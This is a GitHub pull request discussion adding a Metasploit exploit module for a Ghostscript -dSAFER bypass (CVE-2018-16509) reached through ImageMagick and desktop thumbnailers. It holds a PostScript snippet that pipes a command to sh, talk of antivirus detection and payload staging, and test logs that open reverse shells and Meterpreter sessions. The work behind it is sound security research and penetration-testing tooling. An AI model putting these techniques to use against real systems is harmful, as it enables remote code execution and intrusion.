Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Ghostscript failed restore exploit from taviso (CVE-2018-16509) #10564

Merged
merged 6 commits into from Sep 6, 2018

Conversation

wvu
Copy link
Contributor

@wvu wvu commented Aug 30, 2018

Depends on #10591

msf5 exploit(multi/fileformat/ghostscript_failed_restore) > info

       Name: Ghostscript Failed Restore Command Execution
     Module: exploit/multi/fileformat/ghostscript_failed_restore
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-21

Provided by:
  Tavis Ormandy
  wvu <wvu@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)
  1   PowerShell (In-Memory)
  2   Linux (Dropper)

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.ps           yes       Output file
  SRVHOST   0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:
  Space: 4089

Description:
  This module exploits a -dSAFER bypass in Ghostscript to execute
  arbitrary commands by handling a failed restore (grestore) in
  PostScript to disable LockSafetyParams and avoid invalidaccess. This
  vulnerability is reachable via libraries such as ImageMagick, and
  this module provides the latest vector for Ghostscript. For previous
  Ghostscript vectors, please see the following modules:
  exploit/unix/fileformat/ghostscript_type_confusion
  exploit/unix/fileformat/imagemagick_delegate

References:
  CVE: Not available
  http://seclists.org/oss-sec/2018/q3/142
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

msf5 exploit(multi/fileformat/ghostscript_failed_restore) >

Resolves #10539.

@wvu wvu added module blocked Blocked by one or more additional tasks feature labels Aug 30, 2018
@taviso
Copy link

taviso commented Aug 30, 2018

I know more about PostScript than I ever wanted to 😜

Regarding very long commands, you can try this to write out the command to a temp file then call sh /tmp/file instead.

% write string into a temp file, then the filename is on the stack
null (w) .tempfile dup (very long command here) writestring closefile

% prepend %pipe%sh, so it will be (%pipe%sh /tmp/whatever)
(%pipe%sh ) exch concatstrings

% roll (adjust the stack) to put parameters in the right order, then execute
mark /OutputFile 3 -1 roll currentdevice putdeviceprops

AFAIK there is no limit to what you can write into tempfiles.

@wvu wvu added the needs-docs label Aug 31, 2018
@sempervictus
Copy link
Contributor

If we could avoid writing files to storage, it would reduce detection and the chance of hitting a noxec mount...

@wvu
Copy link
Contributor Author

wvu commented Aug 31, 2018

@sempervictus: Agreed, and this isn't a problem for the Unix payloads. We usually supply WritableDir anyway for noexec. The space restriction appears to be 4096 bytes total (4089 effective).

This is a problem with the PSH command, which gets a little too big too fast if fully encoded. So far Defender is catching it even without writing to disk. I'm hesitant to immediately play the cat-and-mouse game of AV evasion, though. Not for this.

That said, I was able to get a Meterpreter shell using PSH delivery. I'll need to upload my testing notes.

Copy link
Contributor

@sempervictus sempervictus left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can do the staging trick normally done via env vars using the web-client or named pipes as the staging ground, assuming we can't figure out a way to deliver internally.

@bwatters-r7
Copy link
Contributor

Stupid question: Would rapid7/rex-powershell#14 fix the length issue?

@bwatters-r7 bwatters-r7 closed this Sep 4, 2018
@bwatters-r7 bwatters-r7 reopened this Sep 4, 2018
@bwatters-r7
Copy link
Contributor

Buttons are too close!

@acammack-r7 acammack-r7 self-assigned this Sep 5, 2018
@wvu
Copy link
Contributor Author

wvu commented Sep 5, 2018

Adequate:

msf5 > search ghostscript

Matching Modules
================

   Name                                                 Disclosure Date  Rank       Check  Description
   ----                                                 ---------------  ----       -----  -----------
   auxiliary/server/capture/printjob_capture                             normal     No     Printjob Capture Service
   exploit/multi/fileformat/ghostscript_failed_restore  2018-08-21       excellent  No     Ghostscript Failed Restore Command Execution
   exploit/unix/fileformat/ghostscript_type_confusion   2017-04-27       excellent  No     Ghostscript Type Confusion Arbitrary Command Execution
   exploit/unix/fileformat/imagemagick_delegate         2016-05-03       excellent  No     ImageMagick Delegate Arbitrary Command Execution


msf5 > search imagemagick

Matching Modules
================

   Name                                                 Disclosure Date  Rank       Check  Description
   ----                                                 ---------------  ----       -----  -----------
   exploit/multi/fileformat/ghostscript_failed_restore  2018-08-21       excellent  No     Ghostscript Failed Restore Command Execution
   exploit/unix/fileformat/ghostscript_type_confusion   2017-04-27       excellent  No     Ghostscript Type Confusion Arbitrary Command Execution
   exploit/unix/fileformat/imagemagick_delegate         2016-05-03       excellent  No     ImageMagick Delegate Arbitrary Command Execution
   exploit/unix/webapp/coppermine_piceditor             2008-01-30       excellent  Yes    Coppermine Photo Gallery picEditor.php Command Execution


msf5 >

We will want to implement module suggestions in the future, perhaps leveraging #10563. Module deprecations might be refactored as a result.

@wvu wvu force-pushed the feature/ghostscript branch 3 times, most recently from 3a57aba to 3b7bf66 Compare September 6, 2018 00:09
@wvu wvu removed blocked Blocked by one or more additional tasks needs-docs labels Sep 6, 2018
@wchen-r7
Copy link
Contributor

wchen-r7 commented Sep 6, 2018

Seems to work for me:

msf5 exploit(multi/fileformat/ghostscript_failed_restore) > [*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo N03NsXFqQIEyVOn8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Command: echo c7xKsnHtm1HYG3sM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "N03NsXFqQIEyVOn8\r\n"
[*] Matching...
[*] A is input...
[*] Reading from socket B
[*] B: "c7xKsnHtm1HYG3sM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.249.1:4444 -> 172.16.249.154:50236) at 2018-09-05 21:03:23 -0500
[*] Command shell session 1 opened (172.16.249.1:4444 -> 172.16.249.154:50232) at 2018-09-05 21:03:23 -0500
id
[*] exec: id

uid=1948661480(wchen) gid=2075806812 groups=2075806812,12(everyone),20(staff),62(netaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1)

@wchen-r7 wchen-r7 assigned wchen-r7 and unassigned acammack-r7 Sep 6, 2018
@wchen-r7
Copy link
Contributor

wchen-r7 commented Sep 6, 2018

Linux payload works for me too.

@wchen-r7 wchen-r7 merged commit f34146b into rapid7:master Sep 6, 2018
wchen-r7 added a commit that referenced this pull request Sep 6, 2018
@wchen-r7
Copy link
Contributor

wchen-r7 commented Sep 6, 2018

Release Notes

This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick, and this module provides the latest vector for Ghostscript.

@wvu wvu deleted the feature/ghostscript branch September 6, 2018 03:39
@wvu
Copy link
Contributor Author

wvu commented Sep 6, 2018

@taviso: Successfully tested against CentOS as referenced in https://bugs.chromium.org/p/project-zero/issues/detail?id=1640#c9.

On the older Ghostscript, I was limited to 253 bytes as per http://git.ghostscript.com/?p=ghostpdl.git;a=blobdiff;f=gs/base/gp.h;h=829a782fd342b0d6b3d47420af1bdee58ef67a45;hp=d1b8fa663e5fe9a5a6a76b659114ad05bfe65dee;hb=fe0b8fcfb69246cbea99b85f453ed6c3c83f4592;hpb=83b6646951fee8fe153d14d3e2d7da75894b922a.

Curiously, nc is symlinked to preinstalled ncat on CentOS, so -e is a supported option. The wget and curl command stagers also worked.

Equally interesting is the same test scenario against stock Ubuntu:

msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[+] msf.tiff stored at /Users/wvu/.msf4/local/msf.tiff
[*] Sending stage (816260 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.103:41872) at 2018-09-06 03:53:13 -0500

meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > sysinfo
Computer     : 10.0.2.15
OS           : Ubuntu 18.04 (Linux 4.15.0-29-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

.tiff did not trigger viewing by the browser (Firefox in this case) and prompted for the file to be saved. Opening the ~/Downloads directory in the file manager (Nautilus as well, IIRC) triggered the bug. I did need to clear the thumbnail cache with rm -rf ~/.cache/thumbnails for repeated exploitation.

ubuntu@ubuntu:~$ file -i Downloads/msf.tiff
Downloads/msf.tiff: application/postscript; charset=us-ascii
ubuntu@ubuntu:~$ grep -l application/postscript /usr/share/thumbnailers/*
/usr/share/thumbnailers/evince.thumbnailer
ubuntu@ubuntu:~$

The designated thumbnailer for PostScript is also evince-thumbnailer. This stuff doesn't end, does it? 😅

Thanks for your efforts!

ETA: strace output for posterity:

ubuntu@ubuntu:~/Downloads$ strace -qqfe execve nautilus .
execve("/usr/bin/nautilus", ["nautilus", "."], 0x7ffeefd09898 /* 53 vars */) = 0
[pid 10447] execve("/usr/local/sbin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = -1 ENOENT (No such file or directory)
[pid 10447] execve("/usr/local/bin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = -1 ENOENT (No such file or directory)
[pid 10447] execve("/usr/sbin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = -1 ENOENT (No such file or directory)
[pid 10447] execve("/usr/bin/evince-thumbnailer", ["evince-thumbnailer", "-s", "256", "file:///home/ubuntu/Downloads/ms"..., "/tmp/.gnome_desktop_thumbnail.ZK"...], 0x7ffc2a183a30 /* 53 vars */) = 0
[pid 10451] execve("/bin/sh", ["sh", "-c", "id; uname -a"], 0x7ffefb6a1358 /* 53 vars */) = 0
[pid 10452] execve("/usr/bin/id", ["id"], 0x55e303ceee28 /* 53 vars */) = 0
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
[pid 10451] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10452, si_uid=999, si_status=0, si_utime=0, si_stime=0} ---
[pid 10453] execve("/bin/uname", ["uname", "-a"], 0x55e303ceee58 /* 53 vars */) = 0
Linux ubuntu 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[pid 10451] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10453, si_uid=999, si_status=0, si_utime=0, si_stime=0} ---
[pid 10447] --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=10447, si_uid=999} ---
[pid 10449] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10451, si_uid=999, si_status=0, si_utime=0, si_stime=0} ---
[pid 10445] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10447, si_uid=999, si_status=0, si_utime=5, si_stime=1} ---
ubuntu@ubuntu:~/Downloads$

@tdoan-r7 tdoan-r7 added rn-enhancement release notes enhancement rn-exploit and removed rn-enhancement release notes enhancement labels Sep 12, 2018
@wvu wvu changed the title Add Ghostscript exploit from taviso Add Ghostscript failed restore exploit from taviso (CVE-2018-16509) Sep 16, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Update ImageMagick delegate exploit with GhostScript 0day
7 participants